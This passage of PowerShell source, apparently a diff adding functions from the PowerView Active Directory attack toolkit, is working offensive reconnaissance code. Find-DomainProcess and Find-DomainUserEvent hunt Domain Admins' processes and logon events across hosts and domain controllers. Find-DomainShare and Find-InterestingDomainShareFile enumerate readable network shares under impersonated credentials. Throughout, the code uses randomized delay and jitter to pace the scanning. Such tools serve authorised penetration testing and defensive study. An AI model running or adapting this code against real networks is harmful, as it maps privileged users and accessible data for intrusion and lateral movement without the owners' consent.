$ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + + # first, build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainProcess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainProcess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainProcess] No hosts found to enumerate' + } + + # now build the user target set + if ($PSBoundParameters['ProcessName']) { + $TargetProcessName = @() + ForEach ($T in $ProcessName) { + $TargetProcessName += $T.Split(',') + } + if ($TargetProcessName -isnot [System.Array]) { + $TargetProcessName = [String[]] @($TargetProcessName) + } + } + elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + else { + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $GroupSearcherArguments + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $ProcessName, $TargetUsers, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # try to enumerate all active processes on the remote host + # and search for a specific process name + if ($Credential) { + $Processes = Get-WMIProcess -Credential $Credential -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + else { + $Processes = Get-WMIProcess -ComputerName $TargetComputer -ErrorAction SilentlyContinue + } + ForEach ($Process in $Processes) { + # if we're hunting for a process name or comma-separated names + if ($ProcessName) { + if ($ProcessName -Contains $Process.ProcessName) { + $Process + } + } + # if the session user is in the target list, display some output + elseif ($TargetUsers -Contains $Process.User) { + $Process + } + } + } + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainProcess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainProcess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainProcess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $TargetProcessName, $TargetUsers, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainProcess] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainProcess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'ProcessName' = $TargetProcessName + 'TargetUsers' = $TargetUsers + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainUserEvent { +<# +.SYNOPSIS + +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +.DESCRIPTION + +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +.PARAMETER ComputerName + +Specifies an explicit computer name to retrieve events from. + +.PARAMETER Domain + +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +.PARAMETER Filter + +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +.PARAMETER StartTime + +The [DateTime] object representing the start of when to collect events. +Default of [DateTime]::Now.AddDays(-1). + +.PARAMETER EndTime + +The [DateTime] object representing the end of when to collect events. +Default of [DateTime]::Now. + +.PARAMETER MaxEvents + +The maximum number of events (per host) to retrieve. Default of 5000. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target computer(s). + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainUserEvent + +Search for any user events matching domain admins on every DC in the current domain. + +.EXAMPLE + +$cred = Get-Credential dev\administrator +Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' + +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential + +.EXAMPLE + +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +.EXAMPLE + +$cred = Get-Credential testlab\administrator +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +.OUTPUTS + +PowerView.LogonEvent + +PowerView.ExplicitCredentialLogon + +.LINK + +http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUsePSCredentialType', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] + [OutputType('PowerView.LogonEvent')] + [OutputType('PowerView.ExplicitCredentialLogon')] + [CmdletBinding(DefaultParameterSetName = 'Domain')] + Param( + [Parameter(ParameterSetName = 'ComputerName', Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('dnshostname', 'HostName', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(ParameterSetName = 'Domain')] + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Hashtable] + $Filter, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $StartTime = [DateTime]::Now.AddDays(-1), + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [DateTime] + $EndTime = [DateTime]::Now, + + [ValidateRange(1, 1000000)] + [Int] + $MaxEvents = 5000, + + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [Switch] + $CheckAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount } + if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount']) { + $TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname + } + elseif ($PSBoundParameters['UserGroupIdentity'] -or (-not $PSBoundParameters['Filter'])) { + # otherwise we're querying a specific group + $GroupSearcherArguments = @{ + 'Identity' = $UserGroupIdentity + 'Recurse' = $True + } + Write-Verbose "UserGroupIdentity: $UserGroupIdentity" + if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase } + if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential } + $TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName + } + + # build the set of computers to enumerate + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + # if not -ComputerName is passed, query the current (or target) domain for domain controllers + $DCSearcherArguments = @{ + 'LDAP' = $True + } + if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential } + Write-Verbose "[Find-DomainUserEvent] Querying for domain controllers in domain: $Domain" + $TargetComputers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname + } + if ($TargetComputers -and ($TargetComputers -isnot [System.Array])) { + $TargetComputers = @(,$TargetComputers) + } + Write-Verbose "[Find-DomainUserEvent] TargetComputers length: $($TargetComputers.Length)" + Write-Verbose "[Find-DomainUserEvent] TargetComputers $TargetComputers" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainUserEvent] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential) + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $DomainUserEventArgs = @{ + 'ComputerName' = $TargetComputer + } + if ($StartTime) { $DomainUserEventArgs['StartTime'] = $StartTime } + if ($EndTime) { $DomainUserEventArgs['EndTime'] = $EndTime } + if ($MaxEvents) { $DomainUserEventArgs['MaxEvents'] = $MaxEvents } + if ($Credential) { $DomainUserEventArgs['Credential'] = $Credential } + if ($Filter -or $TargetUsers) { + if ($TargetUsers) { + Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName} + } + else { + $Operator = 'or' + $Filter.Keys | ForEach-Object { + if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) { + if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) { + $Operator = 'and' + } + } + } + $Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')} + Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object { + if ($Operator -eq 'or') { + ForEach ($Key in $Keys) { + if ($_."$Key" -match $Filter[$Key]) { + $_ + } + } + } + else { + # and all clauses + ForEach ($Key in $Keys) { + if ($_."$Key" -notmatch $Filter[$Key]) { + break + } + $_ + } + } + } + } + } + else { + Get-DomainUserEvent @DomainUserEventArgs + } + } + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential + $Result + + if ($Result -and $StopOnSuccess) { + Write-Verbose "[Find-DomainUserEvent] Target user found, returning early" + return + } + } + } + else { + Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'StartTime' = $StartTime + 'EndTime' = $EndTime + 'MaxEvents' = $MaxEvents + 'TargetUsers' = $TargetUsers + 'Filter' = $Filter + 'Credential' = $Credential + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainShare { +<# +.SYNOPSIS + +Searches for computer shares on the domain. If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. If -CheckShareAccess is passed, then +[IO.Directory]::GetFiles() is used to check if the current user has read +access to the given share. If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER CheckShareAccess + +Switch. Only display found shares that the local user has access to. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainShare + +Find all domain shares in the current domain. + +.EXAMPLE + +Find-DomainShare -CheckShareAccess + +Find all domain shares in the current domain that the current user has +read access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches for domain shares in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.ShareInfo +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ShareInfo')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [Alias('Domain')] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Alias('CheckAccess')] + [Switch] + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainShare] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainShare] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainShare] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $CheckShareAccess, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and check what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + # $Remark = $Share.Remark + $Path = '\\'+$TargetComputer+'\'+$ShareName + + if (($ShareName) -and ($ShareName.trim() -ne '')) { + # see if we want to check access to this share + if ($CheckShareAccess) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $Share + } + catch { + Write-Verbose "Error accessing share path $Path : $_" + } + } + else { + $Share + } + } + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainShare] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainShare] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainShare] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $CheckShareAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainShare] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'CheckShareAccess' = $CheckShareAccess + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-InterestingDomainShareFile { +<# +.SYNOPSIS + +Searches for files matching specific criteria on readable shares +in the domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site 